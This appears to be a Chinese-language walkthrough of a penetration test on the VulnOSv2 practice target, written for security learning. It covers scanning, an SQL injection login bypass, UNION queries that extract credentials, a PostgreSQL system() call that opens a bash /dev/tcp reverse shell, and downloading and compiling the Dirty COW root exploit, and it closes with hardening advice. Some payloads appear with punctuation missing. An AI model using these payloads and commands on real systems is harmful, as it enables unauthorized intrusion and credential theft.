1. VulnOSv2靶机渗透测试概述VulnOSv2是一款专为网络安全学习设计的漏洞演练系统它模拟了真实环境中常见的Web应用漏洞场景。这个靶机系统包含了从信息收集到权限提升的完整渗透路径特别适合用来练习Web应用安全测试的核心技术。我在实际测试中发现VulnOSv2靶机完美复现了企业环境中常见的几类高危漏洞SQL注入漏洞、权限控制缺陷以及操作系统层面的提权漏洞。通过这个靶机的完整渗透过程安全人员可以系统性地掌握从外部探测到内部提权的全套技术链。2. 信息收集与目标识别2.1 基础网络扫描使用Nmap进行基础扫描是渗透测试的标准起点。对于VulnOSv2靶机我通常会先执行以下扫描命令nmap -sV -O -T4 192.168.1.100这个命令会返回目标系统开放的端口和服务信息。根据我的经验VulnOSv2通常会开放80端口的Web服务和5432端口的PostgreSQL服务。扫描结果中特别需要注意服务版本信息这往往能提示潜在的漏洞利用方向。提示在实际测试环境中建议使用-Pn参数跳过主机发现阶段这样可以避免因防火墙设置导致的误判。2.2 Web应用目录探测使用Dirbuster或Gobuster进行目录扫描是发现Web应用入口点的有效方法。我通常会使用这样的命令gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html在VulnOSv2的测试中这个步骤往往会发现关键的登录页面和后台管理接口。根据我的测试记录/admin和/login.php是最常见的敏感路径。3. SQL注入漏洞利用3.1 注入点识别与验证通过手动测试Web表单和URL参数我发现VulnOSv2的登录页面存在典型的字符型SQL注入漏洞。使用经典的 or 11测试payload可以绕过认证username: admin or 11-- password: [任意]这个漏洞的存在说明系统没有对用户输入进行充分的过滤处理。在实际渗透测试中我通常会使用SQLmap工具进行自动化验证sqlmap -u http://192.168.1.100/login.php --datausernameadminpasswordtest --risk3 --level53.2 数据库信息提取成功确认注入点后可以通过SQL注入提取数据库信息。我常用的几个关键查询语句包括# 获取当前数据库用户 union select 1,current_user,3,4-- # 列出所有数据库 union select 1,string_agg(datname,,),3,4 from pg_database--在VulnOSv2的环境中这些查询通常会返回PostgreSQL数据库的详细信息。根据我的测试笔记这个靶机使用的数据库用户往往具有较高的权限这为后续的提权操作奠定了基础。4. PostgreSQL服务利用4.1 数据库凭证获取通过Web应用的SQL注入漏洞我成功提取了PostgreSQL数据库的连接凭证。典型的凭证信息可能存储在users表或config表中 union select 1,username,password,4 from users--在实际测试中我发现这些密码往往采用简单的MD5哈希存储可以通过在线破解工具快速还原为明文。4.2 数据库直接连接获取有效凭证后可以直接连接PostgreSQL服务psql -h 192.168.1.100 -U vulnos -d vulnos连接成功后我会检查数据库用户的权限SELECT usename, usecreatedb, usesuper FROM pg_user WHERE usename current_user;如果用户具有superuser权限就可以执行系统命令这是后续提权的关键跳板。5. 操作系统提权技术5.1 命令执行获取Shell通过PostgreSQL的超级用户权限可以执行操作系统命令。我常用的方法是使用PostgreSQL的大对象导出功能CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/x86_64-linux-gnu/libc.so.6, system LANGUAGE C STRICT; SELECT system(bash -i /dev/tcp/192.168.1.101/4444 01);这个操作会在目标系统上打开一个反向Shell连接。根据我的经验VulnOSv2靶机的PostgreSQL服务通常以postgres用户运行这已经是一个相对高权限的系统账户。5.2 脏牛(Dirty COW)提权获取初始Shell后我会检查系统内核版本uname -aVulnOSv2通常运行较老的内核版本容易受到脏牛漏洞(CVE-2016-5195)的影响。提权过程如下下载并编译漏洞利用代码wget https://www.exploit-db.com/download/40839 -O dirty.c gcc dirty.c -o dirty -pthread执行提权操作./dirty根据我的测试记录这个漏洞利用成功率很高可以在几秒钟内将权限提升至root。注意在实际渗透测试中脏牛漏洞利用可能会导致系统不稳定。建议在测试环境中谨慎使用并做好系统备份。6. 渗透测试后的系统加固建议完成渗透测试后我会为目标系统提供以下安全加固建议Web应用层对所有用户输入实施严格的参数化查询使用预编译语句替代动态SQL拼接实施最小权限原则限制数据库用户权限数据库层修改默认的PostgreSQL监听端口禁用不必要的数据库功能(如大对象导出)定期更新数据库服务补丁操作系统层及时安装内核安全更新限制系统用户的sudo权限实施严格的网络访问控制7. 常见问题与解决方案在多次VulnOSv2渗透测试中我总结了以下常见问题及解决方法问题现象可能原因解决方案SQL注入payload不生效输入过滤或WAF防护尝试编码绕过或使用注释符混淆PostgreSQL连接被拒绝防火墙限制或服务未启动检查5432端口状态和pg_hba.conf配置脏牛提权失败内核已打补丁尝试其他提权方法如sudo配置错误反向Shell无法建立出站连接被限制尝试其他连接方式如ICMP或DNS隧道8. 渗透测试经验总结通过VulnOSv2靶机的完整渗透过程我深刻体会到安全防护需要多层次的整体考虑。Web应用的SQL注入漏洞可能成为整个系统沦陷的起点而操作系统层面的漏洞则会放大这种风险。在实际测试中我发现很多企业环境都存在类似的漏洞链。一个看似简单的Web应用漏洞配合不安全的服务配置和未打补丁的系统就可能造成整个网络的沦陷。这提醒我们安全防护必须覆盖应用层、服务层和系统层形成纵深防御体系。